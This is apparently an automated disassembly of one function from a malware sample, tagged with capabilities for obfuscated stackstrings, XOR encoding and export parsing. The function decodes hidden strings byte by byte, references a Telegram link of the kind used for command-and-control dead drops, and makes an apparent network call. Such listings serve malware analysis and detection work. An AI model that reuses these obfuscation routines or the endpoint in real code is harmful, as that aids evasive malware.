Function at 0x4095e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x100
cmp dword [ecx + 0x20], 0
je 0x409ca5
mov esi, ecx
movzx eax, byte [ecx]
mov byte [esp + 0xf], 0
test eax, eax
je 0x409635
cmp al, 0x64
jb 0x409644
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*8]
movzx edx, cx
shr edx, 0xc
imul ecx, edx, 0x64
sub al, cl
movzx eax, al
movzx eax, word [eax + eax + 0x4387f8]
mov word [esp + 0xd], ax
mov ecx, 1
mov eax, edx
jmp 0x40964d
lea eax, [esp + 0xe]
mov dword [esp + 0x3c], eax
mov byte [esp + 0xe], 0x30
jmp 0x40968f
mov ecx, 3
cmp al, 9
ja 0x409664
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
lea edx, [esp + ecx]
add edx, 0xb
mov dword [esp + 0x3c], edx
mov byte [esp + ecx + 0xb], al
jmp 0x40968f
mov ecx, eax
and ecx, 0x7d
mov edx, eax
and edx, 2
or eax, 2
imul eax, edx
xor edx, 2
imul edx, ecx
movzx eax, word [edx + eax + 0x4387f8]
lea ecx, [esp + 0xd]
mov dword [esp + 0x3c], ecx
mov word [esp + 0xd], ax
lea eax, [esi + 0x10]
push eax
call fcn.004064f0
add esp, 4
mov edi, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 0xd0], eax
lea ebx, [esp + 0xdb]
push ebx
call fcn.0042f2f0
add esp, 4
mov dword [esp + 0xd4], edi
lea eax, [edi + 0x800]
push eax
call fcn.00408550
add esp, 4
mov edi, eax
mov dword [esp + 0x40], 0xb7b386b0
mov byte [esp + 0x44], 4
mov dword [esp + 0x45], 0
mov dword [esp + 0x49], 0
mov dword [esp + 0x4d], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 0x10
ja 0x409742
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x40]
lea edx, [eax + 0x2c]
and edx, ecx
add eax, ecx
add eax, 0x2c
add edx, edx
sub eax, edx
add al, 0xcc
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x40], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 0x11
jb 0x409710
lea eax, [esp + 0x40]
mov ecx, esi
push ebx
mov ebx, eax
push eax
push edi
call fcn.00408ec0
mov byte [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0x3666870
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 0x18
ja 0x4097cc
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx ecx, byte [esp + ecx + 0x40]
mov edx, eax
and edx, ecx
add eax, ecx
add edx, edx
sub eax, edx
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x40], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 0x19
jb 0x4097a0
mov ecx, esi
push dword [esp + 0x3c]
push ebx
push edi
call fcn.00408ec0
mov eax, dword [str.2xlAvx__https:__t.me_sandora81]
mov byte [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0xab404a4a
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x14
ja 0x409859
nop
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x10]
movzx edx, byte [esp + edx + 0x40]
lea ebx, [ecx - 0x117c71b]
and ebx, edx
add ecx, edx
add ecx, 0xfee838e5
add ebx, ebx
sub ecx, ebx
add cl, 0xbd
mov edx, dword [esp + 0x10]
mov byte [esp + edx + 0x40], cl
inc dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
cmp ecx, 0x15
jb 0x409820
mov ecx, esi
push eax
lea ebx, [esp + 0x44]
push ebx
push edi
call fcn.00408ec0
mov dword [esp + 0x40], 0x2f060e03
mov dword [esp + 0x44], 0x1a131a2b
mov dword [esp + 0x48], 0x18152a1b
mov byte [esp + 0x4c], 0x82
mov dword [esp + 0x4d], 0
mov dword [esp + 0x51], 0
mov dword [esp + 0x55], 0
mov byte [esp + 0x59], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 0x19
ja 0x409902
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
movzx edx, byte [esp + eax + 0x40]
lea eax, [ecx + edx]
add eax, 0xe476fa6d
add ecx, 0xe476fa6d
and ecx, edx
add ecx, ecx
sub eax, ecx
mov ecx, eax
or ecx, 4
and eax, 4
add eax, ecx
inc al
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x40], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 0x1a
jb 0x4098c0
mov byte [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x6be6f2cd
mov dword [esp + 8], 0
mov eax, dword [esp + 8]
cmp eax, 0x14
ja 0x409987
mov ecx, dword [esp + 8]
mov eax, dword [esp + 8]
movzx edx, byte [esp + eax + 0x10]
lea eax, [ecx + edx]
add eax, 0x3c5e0c92
add ecx, 0x3c5e0c92
and ecx, edx
add ecx, ecx
sub eax, ecx
add al, 2
mov ecx, dword [esp + 8]
mov byte [esp + ecx + 0x10], al
mov eax, dword [esp + 8]
mov ecx, eax
and ecx, 1
xor eax, 1
lea eax, [eax + ecx*2]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
cmp eax, 0x15
jb 0x409940
lea eax, [esp + 0x10]
mov ecx, esi
push ebx
push eax
push edi
call fcn.00408ec0
mov dword [esp + 0x44], 0
mov word [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x40], 0xc8c0c2cc
mov byte [esp + 0x44], 0x32
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 0x15
ja 0x409a18
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
movzx edx, byte [esp + eax + 0x40]
lea eax, [ecx + edx]
add eax, 0xd32edf79
add ecx, 0xd32edf79
and ecx, edx
add ecx, ecx
sub eax, ecx
add al, 0xb1
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x40], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 0x16
jb 0x4099e0
mov ecx, esi
push dword [esp + 0xd4]
push dword [esp + 0xd4]
push ebx
push edi
call fcn.004091b0
mov eax, dword [esi + 0x60]
mov dword [esp + 0x40], 0x2b552563
mov dword [esp + 0x44], 0x2f5c2958
mov dword [esp + 0x48], 0x335e2d45
mov dword [esp + 0x4c], 0x37033146
mov dword [esp + 0x50], 0x3b4b3562
mov dword [esp + 0x54], 0x3f53394a
mov dword [esp + 0x58], 0x431c3d00
mov dword [esp + 0x5c], 0x473b4131
mov dword [esp + 0x60], 0x4b30452a
mov dword [esp + 0x64], 0x4f384925
mov dword [esp + 0x68], 0x533a4d29
mov dword [esp + 0x6c], 0x57615126
mov dword [esp + 0x70], 0x5b25553c
mov dword [esp + 0x74], 0x5f2b592c
mov dword [esp + 0x78], 0x63385d6d
mov dword [esp + 0x7c], 0x67146105
mov dword [esp + 0x80], 0x6b596501
mov dword [esp + 0x84], 0x6f0e694a
mov dword [esp + 0x88], 0x73176d1f
mov dword [esp + 0x8c], 0x77147100
mov dword [esp + 0x90], 0x7b027511
mov dword [esp + 0x94], 0x7f3b7905
mov dword [esp + 0x98], 0x83177d18
mov dword [esp + 0x9c], 0x87bb81ba
mov dword [esp + 0xa0], 0x8bef85e2
mov dword [esp + 0xa4], 0x8fe789b1
mov dword [esp + 0xa8], 0x93e88dfe
mov dword [esp + 0xac], 0x97f591e3
mov dword [esp + 0xb0], 0x9bff95f9
mov dword [esp + 0xb4], 0x9fee99ec
mov dword [esp + 0xb8], 0xa3ab9df5
mov dword [esp + 0xbc], 0xa7aea1b1
mov word [esp + 0xc0], 0xa5a6
mov word [esp + 0xce], 0
mov dword [esp + 0xca], 0
mov dword [esp + 0xc6], 0
mov dword [esp + 0xc2], 0
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x8f
ja 0x409be3
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x10]
movzx edx, byte [esp + edx + 0x40]
lea ebx, [ecx + 0x25]
and ebx, edx
add ecx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0x22
mov edx, dword [esp + 0x10]
mov byte [esp + edx + 0x40], cl
inc dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
cmp ecx, 0x90
jb 0x409bb0
mov dword [esp + 0x10], 0xab03a557
mov dword [esp + 0x14], 0xaf07a91a
mov word [esp + 0x18], 0xadae
mov dword [esp + 0x1a], 0
mov dword [esp + 0x1e], 0
mov dword [esp + 0x22], 0
mov dword [esp + 0x26], 0
mov byte [esp + 0x2a], 0
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 0x1a
ja 0x409c78
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx + 0x10]
lea ebx, [ecx + 0xc5]
and ebx, edx
add ecx, edx
add ebx, ebx
sub ecx, ebx
mov edx, 0x87c2e33a
sub edx, ecx
add ecx, 0x783d1dc5
and edx, 0x63
and ecx, 0x9c
sub ecx, edx
mov edx, dword [esp + 8]
mov byte [esp + edx + 0x10], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 0x1b
jb 0x409c30
push 0x493e0
push eax
push edi
push 0
push 0
lea eax, [esp + 0x54]
push eax
lea eax, [esp + 0x28]
push eax
call fcn.0040ddd0
add esp, 0x1c
push edi
call fcn.00408560
add esp, 4
mov dword [esi + 0x60], 0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret